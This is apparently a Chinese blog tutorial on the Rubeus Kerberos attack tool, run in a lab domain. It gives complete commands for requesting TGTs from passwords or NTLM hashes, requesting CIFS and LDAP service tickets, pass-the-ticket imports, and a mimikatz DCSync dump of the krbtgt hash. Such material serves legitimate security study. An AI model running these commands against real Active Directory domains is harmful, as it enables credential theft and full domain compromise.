内网安全工具之Rebeus的使用

Rubeus 是由国外安全研究员@harmj0y 用 C#语言写的一款针对 Kerberos 协 议进行攻击的工具。它在很大程度上改编自@Benjamin Delpy 的 kekeo 工具 和 @Vincent LE TOUX 的 MakeMeEnterpriseAdmin 项目。它可以发起 Kerberos请求,并将请求的票据导入内存中,从而模拟针对 Kerberos 协议各个阶段发起攻击,以方便安全研究员进行研究和学习。Rebeus 提供了大量用于 Kerberos攻击的功能,如TGT认购权证请求、ST 服务票据请求、AS-REP Roasting 攻击、 Kerberoasting 攻击、委派攻击、黄金票据攻击、白银票据攻击等,因此其使用程度远超 Kekeo 工具。以下演示 Rubeus 工具的一些常见的用法。
项目地址:https://github.com/GhostPack/Rubeus
image.png

申请TGT认购权证

Rubeus 使用 asktgt 模块请求 TGT 认购权证,可以使用明文、密码哈希 (DES 加密和 RC4 加密) 和 AES Key(AES128 和 AES256)进行认证;其可以将 TGT 认购权证以 base64 格式打印出来、可以将 TGT 认购权证保存为文件,也可以将 TGT 认购权证直接导入到内存中。
将 TGT 认购权证导入到内存中后,想请求什么服务,系统就会自动利用该 TGT 认购权证请求指定服务的 ST 服务票据。
如当 dir 域控或者 dcsync 哈希的时候,会自动请求对应的 ST 服务票据。
asktgt 模块有以下参数,用[]括住的参数说明是可选参数:

  • /user:USER :请求的用户名
  • </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> :凭据的格 式,有明文密码、des 加密的哈希、NTLM Hash、aes128 和 aes256,以及加密的类型
  • [/domain:DOMAIN] :域名
  • [/dc:DOMAIN_CONTROLLER] :域控
  • [/outfile:FILENAME] :输出的文件
  • [/ptt] :pass the ticket,即将票据导入到内存中
  • [/luid] :该参数用户将生成的票据用于指定的登录会话(需要管理员权限)
  • [/nowrap] :格式更好
  • [/opsec]
  • [/nopac]:票据中不请求 PAC

如果没有指定/domain 参数,则默认使用主机当前所在域。如果没有指定 /dc 参数,则会使用 DsGetDcName 函数来获取主机当前所在域的域控。

明文密码请求

Rebeus 支持使用明文密码请求 TGT 认购权证。如下命令,使用administrator 的明文密码请求 TGT 认购权证。

#明文密码申请 TGT 认购权证,以 base64 格式打印出来并导入到内存中
Rubeus.exe asktgt /user:administrator /password:admin@123 /nowrap /ptt

#明文密码申请 TGT 认购权证,将票据保存为 ticket.kirbi 文件,并导入到内存中
Rubeus.exe asktgt /user:administrator /password:admin@123 /nowrap /ptt /out file:ticket.kirbi

以 administrator 身份申请一张 TGT 认购权证,该 TGT 认购权证 以 base64 格式打印出来并导入到内存中。
image.png
TGT 认购权证导入内存后,即可访问高权限服务了。通过 dir 命令访问域控和通过 mimikatz 的 DCSync 功能导出域内哈希。

mimikatz.exe "lsadump::dcsync /domain:tmac.com /user:krbtgt /csv" "exit"

image.png
image.png
也可以将 TGT认购权证保存为 kirbi 票据文件。以 administrator 身份申请一张 TGT 认购权证,该 TGT 认购权证保存为 kirbi 票据文件并导入到内存中。

Rubeus.exe asktgt /user:administrator /password:admin@123 /nowrap /ptt /outfile:ticket.kirbi

image.png

密码哈希请求

Rubeus 也支持使用密码哈希请求 TGT 认购权证。如下命令,使用administrator 的密码哈希请求 TGT 认购权证。
579DA618CFBFA85247ACF1F800A280A4

#密码哈希申请 TGT 认购权证,以 base64 格式打印出来并导入到内存中
Rubeus.exe asktgt /user:administrator /rc4:579DA618CFBFA85247ACF1F800A280A4 /e nctype:RC4 /nowrap /ptt

#将票据保存为 ticket.kirbi 文件,并导入到内存中,此时不会以 base64 格式打印出来
Rubeus.exe asktgt /user:administrator /rc4:579DA618CFBFA85247ACF1F800A280A4 /e nctype:RC4 /nowrap /ptt /outfile:ticket.kirbi

image.png
TGT 认购权证导入内存后,即可访问高权限服务了。通过 dir 命令访问域控和通过 mimikatz 的 DCSync 功能导出域内哈希。
image.png

请求ST服务票据

Rubeus 使用 asktgs 模块请求 ST 服务票据,需要提供一张 TGT 认购权证, 提供的 TGT 认购权证可以是 base64 格式的也可以是 kirbi 结尾的票据文件。因此,需要先使用 Rubeus 请求一张 TGT 认购权证,然后再使用 asktgs 模块用该 TGT 认购权证请求指定服务的 ST 服务票据。可以将请求的 ST 服务票据以 base64 格式打印出来、可以将 ST 服务票据保存为文件,也可以将 ST 服务票据直接导入到内存中。
asktgs 模块有以下参数,用[]括住的参数说明是可选参数:

  • </ticket:BASE64 | /ticket:FILE.KIRBI> :票据文件
  • /service:SPN1,SPN2,… :请求的服务
  • [/enctype:DES|RC4|AES128|AES256] :加密类型
  • [/dc:DOMAIN_CONTROLLER] :域控
  • [/outfile:FILENAME] :输出的文件
  • [/ptt] :即将票据导入到内存中
  • [/nowrap] :格式更好
  • [/enterprise]
  • [/opsec]
  • </tgs:BASE64 | /tgs:FILE.KIRBI> :指定生成 base64 格式的票据还是票据文件
  • [/usesvcdomain]

请求TGT认购权证

#明文密码申请 TGT 认购权证,以 base64 格式打印出来
Rubeus.exe asktgt /user:"administrator" /password:"admin@123" /domain:"tmac.com" /dc:"WIN-3EAQBB8A70H.tmac.com" /nowrap /ptt

image.png

请求ST服务票据

用上一步请求的 TGT 认购权证即可请求指定服务的 ST 服务票据了,这里需要注意的是我们平常请求的 CIFS 服务的票据,只能用于 dir 这种操作,而不能使用 mimikatz 的 DCSync 功能。要想使用 mimikatz 的 DCSync 功能,需要请求 LDAP 服务。

请求CIFS服务票据

#请求访问 WIN-3EAQBB8A70H.tmac.com 的 cifs 服务的 ST 服务票据,并导入到内存中
Rubeus.exe asktgs /service:"cifs/WIN-3EAQBB8A70H.tmac.com" /nowrap /ptt /ticket:上一步请求的 T GT 票据的 base64 格式

导入后即可访问dir服务

请求LDAP服务票据

用上一步得到的 TGT 认购权证请求 LDAP 服务的 ST 服务票据。

#请求访问  WIN-3EAQBB8A70H.tmac.com 的 ldap 服务的 ST 服务票据,并导入到内存中
Rubeus.exe asktgs /service:"ldap/WIN-3EAQBB8A70H.tmac.com" /nowrap /ptt /ticket:上一步请求的 TGT 票据的 base64 格式

##通过 mimikatz 的 DCSync 功能导出域用户哈希
mimikatz.exe "lsadump::dcsync /domain:tmac.com /user:krbtgt /csv" "exit"

Rubeus导入票据

Rubeus 支持通过票据文件或者 base64 格式的票据进行导入。票据文件除了可以是 Rubeus 请求生成的票据,也可以是其他工具如 Kekeo请求的票据,只要是以.kirbi 为后缀的均可。

导入base64格式的票据

如果在请求票据的时候没有使用/ptt 参数导入到内存中的话,可以直接使用Rubeus 导入请求的 base64 格式票据,即可访问目标。
使用 administrator 凭据请求 TGT 认购权证,以 base64 格式打印出来,不导入到内存中。

Rubeus.exe asktgt /user:administrator /password:admin@123 /nowrap

image.png
然后执行如下命令将以上 base64 格式的票据导入到内存中。

#导入票据
Rubeus.exe ptt /ticket:上一步请求的 TGT 票据

导入票据文件

Rubeus 支持导入以.kirbi 为后缀的票据文件。可以是 Rubeus 生成的票据文件,也可以是其他工具如 Kekeo 生成的票据文件。

导入RUbeus生成的票据

使用 Rubeus 生成票据文件,并使用 Rebeus 导入票据文件

#明文密码申请 TGT 认购权证,将票据保存为 ticket.kirbi 文件,此时并不导入到内存中
Rubeus.exe asktgt /user:administrator /password:admin@123 /nowrap /outfile:ticket.kirbi

#导入票据
Rubeus.exe ptt /ticket:ticket.kirbi

image.png
成功导入票据
image.png

导入kekeo生成的票据

#用 Kekeo 申请 TGT 认购权证,此时会生成一个 kirbi 结尾的票据
Kekeo.exe "tgt::ask /user:administrator /domain:tmac.com /password:admin@123" "exit"

image.png

#导入票据
Rubeus.exe ptt /ticket:TGT_administrator@TMAC.COM_krbtgt~tmac.com@TMAC.COM.kirbi

导入成功
image.png

  • 33
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值